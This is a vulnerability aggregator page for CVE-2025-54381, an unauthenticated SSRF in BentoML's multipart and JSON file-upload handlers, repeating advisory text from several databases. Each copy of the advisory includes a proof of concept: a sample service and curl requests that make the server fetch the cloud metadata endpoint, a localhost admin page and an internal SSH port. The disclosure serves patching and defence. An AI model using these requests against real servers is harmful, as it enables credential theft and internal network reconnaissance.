CVE-2025-54381
BentoML is Vulnerable to an SSRF Attack Through File Upload Processing
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
9.9
BentoML is Vulnerable to an SSRF Attack Through File Upload Processing
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.
- Record
CVE-2025-54381- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2025-23049
9.9
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.
- Record
EUVD-2025-23049- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mrmq-3q62-6cc8
9.9
BentoML SSRF Vulnerability in File Upload Processing
Description
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source - Sink Analysis
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
- HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
MultipartSerde.parse_request()insrc/_bentoml_impl/serde.py:202processes the requestform = await request.form()parses multipart data using Starlette- For file-type fields:
value = [await self.ensure_file(v) for v in form.getlist(k)]at line 209 MultipartSerde.ensure_file()called at lines 186-200 with user-controlled string URL- Sink:
resp = await client.get(obj)at line 193 - Direct HTTP request with zero validation
Call Chain - Path 2 (JSONSerde - Weak Validation):
- HTTP POST request with JSON body containing URL to endpoint with
IORootModel+multipart_fields JSONSerde.parse_request()insrc/_bentoml_impl/serde.py:157processes the requestbody = await request.body()extracts request body- Condition check:
if issubclass(cls, IORootModel) and cls.multipart_fields:at line 164 - Weak validation:
if is_http_url(url := body.decode("utf-8", "ignore")):at line 165 (only checks scheme) - Sink:
resp = await client.get(url)at line 168 - HTTP request after insufficient validation
Proof of Concept
Create a BentoML service:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Deploy and exploit:
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
-F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Impact
- Access AWS/GCP/Azure cloud metadata services for credential theft
- Enumerate and interact with internal HTTP services and APIs
- Bypass firewall restrictions to reach internal network resources
- Perform network reconnaissance from the server's perspective
- Retrieve sensitive information disclosed in HTTP response data
- Potential for internal service exploitation through crafted requests
Remediation
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…
- Record
GHSA-mrmq-3q62-6cc8- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
9.9
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.
- Record
CVE-2025-54381- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
9.9
BentoML is Vulnerable to an SSRF Attack Through File Upload Processing
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.
- Record
CVE-2025-54381- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-mrmq-3q62-6cc8
9.9
BentoML SSRF Vulnerability in File Upload Processing
Description
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source - Sink Analysis
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
- HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
MultipartSerde.parse_request()insrc/_bentoml_impl/serde.py:202processes the requestform = await request.form()parses multipart data using Starlette- For file-type fields:
value = [await self.ensure_file(v) for v in form.getlist(k)]at line 209 MultipartSerde.ensure_file()called at lines 186-200 with user-controlled string URL- Sink:
resp = await client.get(obj)at line 193 - Direct HTTP request with zero validation
Call Chain - Path 2 (JSONSerde - Weak Validation):
- HTTP POST request with JSON body containing URL to endpoint with
IORootModel+multipart_fields JSONSerde.parse_request()insrc/_bentoml_impl/serde.py:157processes the requestbody = await request.body()extracts request body- Condition check:
if issubclass(cls, IORootModel) and cls.multipart_fields:at line 164 - Weak validation:
if is_http_url(url := body.decode("utf-8", "ignore")):at line 165 (only checks scheme) - Sink:
resp = await client.get(url)at line 168 - HTTP request after insufficient validation
Proof of Concept
Create a BentoML service:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Deploy and exploit:
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
-F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Impact
- Access AWS/GCP/Azure cloud metadata services for credential theft
- Enumerate and interact with internal HTTP services and APIs
- Bypass firewall restrictions to reach internal network resources
- Perform network reconnaissance from the server's perspective
- Retrieve sensitive information disclosed in HTTP response data
- Potential for internal service exploitation through crafted requests
Remediation
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…
- Record
GHSA-mrmq-3q62-6cc8- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-297
9.9
BentoML SSRF Vulnerability in File Upload Processing
Description
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source - Sink Analysis
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
- HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
MultipartSerde.parse_request()insrc/_bentoml_impl/serde.py:202processes the requestform = await request.form()parses multipart data using Starlette- For file-type fields:
value = [await self.ensure_file(v) for v in form.getlist(k)]at line 209 MultipartSerde.ensure_file()called at lines 186-200 with user-controlled string URL- Sink:
resp = await client.get(obj)at line 193 - Direct HTTP request with zero validation
Call Chain - Path 2 (JSONSerde - Weak Validation):
- HTTP POST request with JSON body containing URL to endpoint with
IORootModel+multipart_fields JSONSerde.parse_request()insrc/_bentoml_impl/serde.py:157processes the requestbody = await request.body()extracts request body- Condition check:
if issubclass(cls, IORootModel) and cls.multipart_fields:at line 164 - Weak validation:
if is_http_url(url := body.decode("utf-8", "ignore")):at line 165 (only checks scheme) - Sink:
resp = await client.get(url)at line 168 - HTTP request after insufficient validation
Proof of Concept
Create a BentoML service:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Deploy and exploit:
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
-F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Impact
- Access AWS/GCP/Azure cloud metadata services for credential theft
- Enumerate and interact with internal HTTP services and APIs
- Bypass firewall restrictions to reach internal network resources
- Perform network reconnaissance from the server's perspective
- Retrieve sensitive information disclosed in HTTP response data
- Potential for internal service exploitation through crafted requests
Remediation
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The…
- Record
PYSEC-2026-297- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Updated
- 2026-11-02
Affected products
Affected packages
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | rockmelodies/bentoml_CVE-2025-54381 | 2025-07-29 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-54381 is a critical vulnerability (CVSS 9.9) in Bentoml, published July 29, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 13.2%, the 96th percentile. Fixed in bentoml 1.4.19.
References
github.com/bentoml/BentoML/security/advisories/GHSA-mrmq-3q62-6cc8
github.com/bentoml/BentoML/commit/534c3584621da4ab954bdc3d814cc66b95ae5fb8
nvd.nist.gov/vuln/detail/CVE-2025-54381
github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-297.yaml
pypi.org/project/bentoml
github.com/advisories/GHSA-mrmq-3q62-6cc8
github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54381.json
github.com/bentoml/BentoML
Left out here: the rest of 3 source descriptions. The JSON record has them.